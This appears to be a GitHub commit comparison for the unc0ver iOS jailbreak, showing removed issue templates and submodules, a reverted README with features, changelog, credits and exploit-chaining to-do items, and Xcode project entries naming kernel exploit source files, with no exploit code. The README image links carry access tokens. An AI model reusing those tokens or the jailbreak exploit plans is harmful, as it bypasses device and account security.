Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
 Pwn20wnd
|
9583329c5c | ||
|
Pwn20wnd
|
7cad24e8f4 |
@@ -1,35 +0,0 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is and what you expected to happen.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1. Go to '...'
|
||||
2. Click on '....'
|
||||
3. Scroll down to '....'
|
||||
4. See error
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Device (please complete the following information):**
|
||||
- iOS Version:
|
||||
- iOS Device:
|
||||
- unc0ver Version:
|
||||
|
||||
**Place an "x" between the brackets if true:**
|
||||
- [ ] this is a bug others will be able to reproduce
|
||||
- [ ] this issue is present with all tweaks uninstalled(except for default packages) or disabled
|
||||
- [ ] this issue is present after a rootfs restore
|
||||
- [ ] this issue is present on the latest version of unc0ver
|
||||
|
||||
**Logs**
|
||||
If applicable, add logs or error messages here.
|
||||
@@ -1,17 +0,0 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Suggest an idea for this project
|
||||
title: ''
|
||||
labels: enhancement
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the feature you'd like**
|
||||
A clear and concise description of what you want to happen.
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
@@ -7,9 +7,3 @@
|
||||
[submodule "patchfinder64"]
|
||||
path = patchfinder64
|
||||
url = https://github.com/pwn20wndstuff/patchfinder64.git
|
||||
[submodule "offset-cache"]
|
||||
path = offset-cache
|
||||
url = https://github.com/sbingner/offset-cache.git
|
||||
[submodule "kerneldec"]
|
||||
path = kerneldec
|
||||
url = https://github.com/sbingner/kerneldec.git
|
||||
|
||||
+1
-1
Submodule Injector updated: 27c282628c...4e25f6d5eb
@@ -6,7 +6,7 @@ all: clean
|
||||
xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO PRODUCT_BUNDLE_IDENTIFIER="science.xnu.undecimus" -sdk iphoneos -configuration Debug
|
||||
ln -sf build/Debug-iphoneos Payload
|
||||
# strip Payload/$(TARGET).app/$(TARGET)
|
||||
ldid -SUndecimus/multi_path.entitlements Payload/$(TARGET).app/$(TARGET)
|
||||
ldid -SUndecimus/resources/multi_path.entitlements Payload/$(TARGET).app/$(TARGET)
|
||||
zip -r9 $(TARGET).ipa Payload/$(TARGET).app
|
||||
|
||||
clean:
|
||||
|
||||
@@ -1,42 +1,55 @@
|
||||
# unc0ver
|
||||
### The most advanced jailbreak tool
|
||||
|
||||
|
||||
|
||||
unc0ver jailbreak for iOS 11.0 - 12.1.2<br/>
|
||||
unc0ver jailbreak for iOS 11.0 - 11.4b3<br/>
|
||||
by [@pwn20wnd](https://twitter.com/Pwn20wnd) & [@sbingner](https://twitter.com/sbingner)<br/>
|
||||
UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](https://reddit.com/u/Samg_is_a_Ninja)<br/>
|
||||
|
||||
## The most outstanding changes over the other jailbreaks
|
||||
* One app to jailbreak all firmwares
|
||||
* Full-fledged Cydia and Substrate support for ARM64 devices
|
||||
* Full-fledged Telesphoreo port for ARM64 (Elucubratus)
|
||||
* No private data shared for diagnostics purposes
|
||||
* SSH-Only (Dropbear) support
|
||||
* Options for the user
|
||||
* Utilities for the user
|
||||
* No inefficient local jailbreak server (jailbreakd daemon)
|
||||
* Native Cydia support with support for the iPhone X screen size
|
||||
* Ability to rejailbreak from the jailbroken state
|
||||
* Stable kernelspace patches to avoid random crashes caused by kernel data aborts
|
||||
* Stable userspace patches to avoid random freezes and crashes caused by watchdog timer timeouts
|
||||
* Local APT repo system integrated in the jailbreak to verify the integrity of the core packages and repair them if they are corrupted
|
||||
* Extended and improved assertion to prevent unexpected results such as bootloops caused by filesystem corruption
|
||||
* Better system security, battery life and performance
|
||||
* Significantly faster Cydia
|
||||
* Modifications to Cydia were approved by the creator of Cydia (Saurik)
|
||||
* Fully working debugserver
|
||||
* No DRM
|
||||
* No installation restrictions
|
||||
* Open source
|
||||
* All exploits in same app
|
||||
* Detailed error messages
|
||||
* Faster patches
|
||||
* More stable patches
|
||||
* No extra battery drain
|
||||
* No random freezes
|
||||
* No random slow downs
|
||||
* No data is logged or shared
|
||||
* No malware
|
||||
* Proper jailbreak state detection
|
||||
* Proper bootstrap extraction to fix issues such as Cydia not appearing after jailbreak
|
||||
* Native build of Cydia for iOS 11
|
||||
* Telesphoreo port for ARM64
|
||||
* Much faster Cydia
|
||||
* Much more stable Cydia
|
||||
* Much more modern looking and acting Cydia
|
||||
* Cydia skips uicache when not needed
|
||||
* Cydia supports iPhone X screen size
|
||||
* Cydia Substrate for tweak injection
|
||||
* Much faster ldrestart
|
||||
* Much more stable ldrestart
|
||||
* Changes to Cydia were made with permission from Saurik
|
||||
* Option to skip loading daemons
|
||||
* Option to dump APTicket
|
||||
* Option to refresh icon cache
|
||||
* Option to disable auto updates
|
||||
* Option to block app revokes
|
||||
* Option to restore RootFS
|
||||
* Button to restart device
|
||||
* Button to open Cydia in case it doesn't appear on the Home Screen
|
||||
* Label to show the days left till the application expires
|
||||
* Working debugserver
|
||||
* An awesome UI
|
||||
|
||||
## Switching from the other jailbreaks
|
||||
* Dedicated migration support will be used to switch without losing data
|
||||
* The RootFS will automatically be restored
|
||||
|
||||
## Getting support
|
||||
* Use the built-in diagnostics tool
|
||||
* Tweet [@pwn20wnd](https://twitter.com/Pwn20wnd)
|
||||
|
||||
## Best practices
|
||||
* Perform a full restore with Rollectra before switching from the other jailbreaks
|
||||
* Turn on the AirPlane Mode before starting the jailbreak
|
||||
* Turn off Siri before starting the jailbreak
|
||||
|
||||
@@ -48,29 +61,52 @@ UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](ht
|
||||
## Video tutorial
|
||||
* <a href="https://youtu.be/TqHYjLHO0zs">https://youtu.be/TqHYjLHO0zs</a>
|
||||
|
||||
## To Do List
|
||||
* Contact [@saurik](https://twitter.com/saurik) to enable the Cydia Store purchases on iOS 11 and remove the empty front page ads in Cydia: Partially done
|
||||
* Completely switch to Cydia Substrate and ditch Substitute: Done
|
||||
* Make switching from other jailbreaks without wiping the device possible: Done
|
||||
* Fix a kernel panic that's triggered by a kernel data abort which is caused by a UaF bug in jailbreakd: Done
|
||||
* Chain [@_bazad](https://twitter.com/_bazad)'s [blanket](https://github.com/bazad/blanket) to bypass the developer certificate requirement for multi_path: Almost done
|
||||
* Enable the on-fly entitlement patching on iOS 11: Work in progress
|
||||
* WebKit Port with [@_niklasb](https://twitter.com/_niklasb)'s [WebKit Exploit](https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1): Work in progress
|
||||
|
||||
## Screenshots
|
||||
<img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-1.PNG" width="281.25" height="609" /> <img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-2.PNG" width="281.25" height="609" /> <img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-3.PNG" width="281.25" height="609" />
|
||||
<img src="https://raw.githubusercontent.com/pwn20wndstuff/Undecimus/master/Resources/Screenshot-1.PNG?token=AlyO4wXUInR6oHEgx0Tg31ri0t1q91frks5bx5ZbwA%3D%3D" width="281.25" height="609" /> <img src="https://raw.githubusercontent.com/pwn20wndstuff/Undecimus/master/Resources/Screenshot-2.PNG?token=AlyO48vs-YYcaKUgxXh8nIEUQQz_QEoqks5bx5ZqwA%3D%3D" width="281.25" height="609" /> <img src="https://raw.githubusercontent.com/pwn20wndstuff/Undecimus/master/Resources/Screenshot-3.PNG?token=AlyO44tYr5-jl7Pg0jup0tCqm3rSjUhiks5bx5Z4wA%3D%3D" width="281.25" height="609" />
|
||||
|
||||
## Changelog
|
||||
* Releases are available at https://github.com/pwn20wndstuff/Undecimus/releases (Note: rc1-v1.1.4 releases are no longer available)
|
||||
* ~~rc1: Initial release~~
|
||||
* ~~rc2: Add the dynastic repo by default and fix a bug in firmware checker~~
|
||||
* ~~rc3: Add a switch to manually enable restoring RootFS, stop erasing user preferences when restoring RootFS and fix bugs~~
|
||||
* ~~rc4: Add a label to display the uptime, a label to display the app's version number, spawn to the PATH and stop bundling system fonts~~
|
||||
* ~~rc5: Run videosubscriptionsd in the jailed state, fix a bug in firmware and update checker~~
|
||||
* ~~rc6: Start logging again, improve update checker and fix multi_path~~
|
||||
* ~~rc7: Fix a bug in RootFS Restore and multi_path~~
|
||||
* ~~rc8: Fix a bug in RootFS Remount and add a work in progress warning for some firmwares~~
|
||||
* ~~rc9: Fix a bug in RootFS Remount, add even more detailed error messages and add a switch to increase the memory limit to improve the stability and improve the compatibility layer to work correctly with some tweaks that were specifically made for the other jailbreaks~~
|
||||
* ~~v1.0.0: Fix a bug in RootFS Restore and Remount, make the settings tab match with the rest of the UI and fix bugs~~
|
||||
* ~~v1.0.1: Disable the RootFS Restore for the unstable versions~~
|
||||
* ~~v1.0.2: Enable and fix the RootFS Restore for all versions~~
|
||||
* ~~v1.0.3: Fix the beta firmwares~~
|
||||
* ~~v1.1.0: Automatically select the best exploit, rewrite the versions checker, improve assertion, show the code which has failed in the error messages, improve memory management, optimize and clean up the code, fix the Storage settings, switch to a new technique to disable auto updates, remove so much useless logging, only set the boot-nonce if the switch is on without checking if it exists or not, log offsets, remove static sleeps to improve the speed, fix series of bugs and leave no known bug~~
|
||||
* ~~v1.1.1: Add a label to show the ECID and a button to open the source code, improve auto layout and fix various bugs in RootFS remount, RootFS restore, RootFS resource copier, Icon cache refresher, Version checker, Exploit selector, jailbreak state detector and others~~
|
||||
* ~~v1.1.2: Improve auto layout and code and Significantly improve Empty_List (VFS) exploit and slightly improve Multi_Path (MPTCP)~~
|
||||
* ~~v1.1.3: Fix a bug in starting jailbreakd~~
|
||||
* ~~v1.1.4: Fix a bug in finding offsets: [Download (IPA)](https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Undecimus.ipa)~~
|
||||
* Releases are now available at https://github.com/pwn20wndstuff/Undecimus/releases
|
||||
|
||||
## Special Thanks
|
||||
* [@i41nbeer](https://twitter.com/i41nbeer) for mach_portal, triple_fetch, async_wake, empty_list, multi_path and deja_xnu
|
||||
* [@bazad](https://twitter.com/bazad) for voucher_swap and PAC bypass
|
||||
* [@Morpheus______](https://twitter.com/Morpheus______) for the QiLin Toolkit (No longer used)
|
||||
* [@i41nbeer](https://twitter.com/i41nbeer) for mach_portal, triple_fetch, async_wake, empty_list, multi_path & deja_xnu
|
||||
* [@Morpheus______](https://twitter.com/Morpheus______) for the QiLin Toolkit
|
||||
* [@xerub](https://twitter.com/xerub) for libjb and the original patchfinder64
|
||||
* [@iBSparkes](https://twitter.com/iBSparkes) for the original amfid_payload (No longer used), jailbreakd (No longer used), pspawn_hook (No longer used), machswap and machswap2
|
||||
* [@iBSparkes](https://twitter.com/iBSparkes) for the original amfid_payload, jailbreakd and pspawn_hook
|
||||
* [@stek29](https://twitter.com/stek29) for the patchfinder64 additions, unlocknvram, host_get_special_port(4) patch and shenanigans bypass
|
||||
* [@theninjaprawn](https://twitter.com/theninjaprawn) for the patchfinder64 additions
|
||||
* [@saurik](https://twitter.com/saurik) for Cydia and Substrate
|
||||
* [@FCE365](https://twitter.com/FCE365) for the empty_list reliability improvements
|
||||
* [@tihmstar](https://twitter.com/tihmstar) for libgrabkernel (No longer used), liboffsetfinder64 (No longer used), v1ntex (No longer used) and v3ntex (No longer used)
|
||||
* Credits for [Undecimus-Resources](https://github.com/pwn20wndstuff/Undecimus-Resources)
|
||||
* [@coolstarorg](https://twitter.com/coolstarorg) for originally testing the snapshot rename idea on corellium
|
||||
* [@Cryptiiiic](https://twitter.com/Cryptiiiic) for testing
|
||||
* [@xanDesign_](https://twitter.com/xanDesign_) for testing
|
||||
* [@AppleDry05](https://twitter.com/AppleDry05) for testing
|
||||
* [@AyyItzRob](https://twitter.com/AyyItzRob) for testing
|
||||
* [@Rob_Coleman123](https://twitter.com/Rob_Coleman123) for testing
|
||||
* [@MidnightChip](https://twitter.com/MidnightChip) for testing
|
||||
* [@Swag_iOS](https://twitter.com/Swag_iOS) for testing
|
||||
* [@jailbreakbuster](https://twitter.com/jailbreakbuster) for testing
|
||||
|
||||
@@ -8,55 +8,29 @@
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */ = {isa = PBXBuildFile; fileRef = 2101395321A09BB700F9C5F2 /* hideventsystem.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* JailbreakViewController.m */; };
|
||||
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* JailbreakViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
|
||||
212D8844216E4C4800A36DA5 /* find_port.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8842216E4C4700A36DA5 /* find_port.c */; };
|
||||
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8846216E4DF600A36DA5 /* early_kalloc.c */; };
|
||||
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8849216E4EBE00A36DA5 /* async_wake.c */; };
|
||||
213E78262208654700FDF3B7 /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 213E78252208654700FDF3B7 /* necp.c */; settings = {COMPILER_FLAGS = "-Wno-deprecated-declarations"; }; };
|
||||
213E7828220865A100FDF3B7 /* voucher_swap-poc.c in Sources */ = {isa = PBXBuildFile; fileRef = 213E7827220865A100FDF3B7 /* voucher_swap-poc.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
214A1776224EBE5400588EC4 /* lzssdec.cpp in Sources */ = {isa = PBXBuildFile; fileRef = 214A1773224EBE5400588EC4 /* lzssdec.cpp */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
214A1777224EBE5400588EC4 /* kerneldec.cpp in Sources */ = {isa = PBXBuildFile; fileRef = 214A1774224EBE5400588EC4 /* kerneldec.cpp */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
2150A9CD22021330001C8677 /* voucher_swap.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CC22021330001C8677 /* voucher_swap.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
2150A9DC22021348001C8677 /* log.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CE22021347001C8677 /* log.c */; };
|
||||
2150A9DD22021348001C8677 /* platform_match.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CF22021347001C8677 /* platform_match.c */; };
|
||||
2150A9DE22021348001C8677 /* platform.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D422021347001C8677 /* platform.c */; };
|
||||
2150A9DF22021348001C8677 /* kernel_slide.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D622021348001C8677 /* kernel_slide.c */; };
|
||||
2150A9E022021348001C8677 /* parameters.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D922021348001C8677 /* parameters.c */; };
|
||||
2150A9E122021348001C8677 /* kernel_alloc.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9DA22021348001C8677 /* kernel_alloc.c */; };
|
||||
2150A9E222021348001C8677 /* kernel_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9DB22021348001C8677 /* kernel_memory.c */; };
|
||||
216F3F3D2228776E007DC1BC /* kernel_call.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F362228776D007DC1BC /* kernel_call.c */; };
|
||||
216F3F3E2228776E007DC1BC /* user_client.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F372228776D007DC1BC /* user_client.c */; };
|
||||
216F3F3F2228776E007DC1BC /* pac.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F3A2228776D007DC1BC /* pac.c */; };
|
||||
216F3F402228776E007DC1BC /* kc_parameters.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F3C2228776E007DC1BC /* kc_parameters.c */; };
|
||||
216FDA1E220C5F5C0086D802 /* libz.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 216FDA1D220C5F5C0086D802 /* libz.tbd */; };
|
||||
2170BD3B21B193800059BD10 /* libMobileGestalt.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */; };
|
||||
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC902136A46500849420 /* SpringBoardServices.framework */; };
|
||||
2171C4012222E3BB004E45C7 /* SystemConfiguration.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */; };
|
||||
2199B8E9226B40C600A8255D /* kalloc_crash.c in Sources */ = {isa = PBXBuildFile; fileRef = 2199B8E8226B40C600A8255D /* kalloc_crash.c */; };
|
||||
219C90A0228703DA00AFA38A /* jailbreak.m in Sources */ = {isa = PBXBuildFile; fileRef = 219C909F228703DA00AFA38A /* jailbreak.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
|
||||
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC62148103B00DC0023 /* remote_memory.c */; };
|
||||
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC82148103B00DC0023 /* KernelExecution.m */; };
|
||||
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* KernelUtilities.c */; settings = {COMPILER_FLAGS = "-Wno-deprecated-declarations"; }; };
|
||||
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* KernelUtilities.c */; };
|
||||
21A97FD42148103C00DC0023 /* remote_call.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCD2148103B00DC0023 /* remote_call.c */; };
|
||||
21B421902261302F004C17CD /* MobileCoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21B4218F2261302F004C17CD /* MobileCoreServices.framework */; };
|
||||
21BB9804222F05C40012AF40 /* machswap2_pwn.m in Sources */ = {isa = PBXBuildFile; fileRef = 21BB9802222F05C40012AF40 /* machswap2_pwn.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6B21369EB700849420 /* AppDelegate.m */; };
|
||||
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7321369EB800849420 /* Assets.xcassets */; };
|
||||
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7521369EB800849420 /* LaunchScreen.storyboard */; };
|
||||
21C0FC7A21369EB800849420 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC7921369EB800849420 /* main.m */; };
|
||||
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8021369EE900849420 /* KernelMemory.c */; };
|
||||
21C0FC8A21369EE900849420 /* KernelOffsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* KernelOffsets.m */; };
|
||||
21C0FC8A21369EE900849420 /* KernelStructureOffsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* KernelStructureOffsets.m */; };
|
||||
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C130DE214BC2880021AA9D /* unlocknvram.c */; };
|
||||
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130EA214C03690021AA9D /* CreditsTableViewController.m */; };
|
||||
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C13117214D268F0021AA9D /* multi_path_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8521369EE900849420 /* empty_list_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
21CC3905227CDFDE0072D572 /* prefs.m in Sources */ = {isa = PBXBuildFile; fileRef = 21CC3902227CDFDE0072D572 /* prefs.m */; };
|
||||
21CC3906227CDFDE0072D572 /* diagnostics.m in Sources */ = {isa = PBXBuildFile; fileRef = 21CC3903227CDFDE0072D572 /* diagnostics.m */; };
|
||||
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 21F4D70C21FC7A590070D5E0 /* patchfinder64.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */; };
|
||||
21FF63CB224E5FDC008B76D9 /* offsetcache.c in Sources */ = {isa = PBXBuildFile; fileRef = 21FF63C9224E5FDC008B76D9 /* offsetcache.c */; };
|
||||
21FFE0F8222E4C0600EC59B2 /* machswap_offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21FFE0F9222E4C0600EC59B2 /* machswap_pwn.m in Sources */ = {isa = PBXBuildFile; fileRef = 21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */ = {isa = PBXBuildFile; fileRef = 21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */; };
|
||||
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */ = {isa = PBXBuildFile; fileRef = 222AD59221FA731800DCBA2A /* FakeApt.m */; };
|
||||
225D142221E052960045493D /* ArchiveFile.m in Sources */ = {isa = PBXBuildFile; fileRef = 225D142121E052960045493D /* ArchiveFile.m */; };
|
||||
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 226689DC21EC1C5A00262F66 /* libarchive.2.tbd */; };
|
||||
@@ -82,48 +56,6 @@
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = async_wake.h; sourceTree = "<group>"; };
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = async_wake.c; sourceTree = "<group>"; };
|
||||
21395357217CBA1000B17F8D /* MobileGestalt.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MobileGestalt.h; sourceTree = "<group>"; };
|
||||
213E78242208654700FDF3B7 /* necp.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = "<group>"; };
|
||||
213E78252208654700FDF3B7 /* necp.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = "<group>"; };
|
||||
213E7827220865A100FDF3B7 /* voucher_swap-poc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = "voucher_swap-poc.c"; sourceTree = "<group>"; };
|
||||
213E7829220865BF00FDF3B7 /* voucher_swap-poc.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "voucher_swap-poc.h"; sourceTree = "<group>"; };
|
||||
214A1772224EBE5400588EC4 /* kerneldec.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = kerneldec.h; path = kerneldec/kerneldec.h; sourceTree = SOURCE_ROOT; };
|
||||
214A1773224EBE5400588EC4 /* lzssdec.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = lzssdec.cpp; path = kerneldec/lzssdec.cpp; sourceTree = SOURCE_ROOT; };
|
||||
214A1774224EBE5400588EC4 /* kerneldec.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = kerneldec.cpp; path = kerneldec/kerneldec.cpp; sourceTree = SOURCE_ROOT; };
|
||||
214A1775224EBE5400588EC4 /* lzssdec.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = lzssdec.h; path = kerneldec/lzssdec.h; sourceTree = SOURCE_ROOT; };
|
||||
2150A9CB22021330001C8677 /* voucher_swap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = voucher_swap.h; sourceTree = "<group>"; };
|
||||
2150A9CC22021330001C8677 /* voucher_swap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = voucher_swap.c; sourceTree = "<group>"; };
|
||||
2150A9CE22021347001C8677 /* log.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = log.c; sourceTree = "<group>"; };
|
||||
2150A9CF22021347001C8677 /* platform_match.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = platform_match.c; sourceTree = "<group>"; };
|
||||
2150A9D022021347001C8677 /* parameters.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = parameters.h; sourceTree = "<group>"; };
|
||||
2150A9D122021347001C8677 /* kernel_alloc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_alloc.h; sourceTree = "<group>"; };
|
||||
2150A9D222021347001C8677 /* platform.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = platform.h; sourceTree = "<group>"; };
|
||||
2150A9D322021347001C8677 /* kernel_slide.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_slide.h; sourceTree = "<group>"; };
|
||||
2150A9D422021347001C8677 /* platform.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = platform.c; sourceTree = "<group>"; };
|
||||
2150A9D522021347001C8677 /* log.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = log.h; sourceTree = "<group>"; };
|
||||
2150A9D622021348001C8677 /* kernel_slide.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_slide.c; sourceTree = "<group>"; };
|
||||
2150A9D722021348001C8677 /* platform_match.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = platform_match.h; sourceTree = "<group>"; };
|
||||
2150A9D822021348001C8677 /* kernel_memory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_memory.h; sourceTree = "<group>"; };
|
||||
2150A9D922021348001C8677 /* parameters.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = parameters.c; sourceTree = "<group>"; };
|
||||
2150A9DA22021348001C8677 /* kernel_alloc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_alloc.c; sourceTree = "<group>"; };
|
||||
2150A9DB22021348001C8677 /* kernel_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_memory.c; sourceTree = "<group>"; };
|
||||
2150A9E322021381001C8677 /* mach_vm.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = mach_vm.h; sourceTree = "<group>"; };
|
||||
2150A9E422021381001C8677 /* ipc_port.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ipc_port.h; sourceTree = "<group>"; };
|
||||
2150A9E52202138A001C8677 /* IOKitLib.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOKitLib.h; sourceTree = "<group>"; };
|
||||
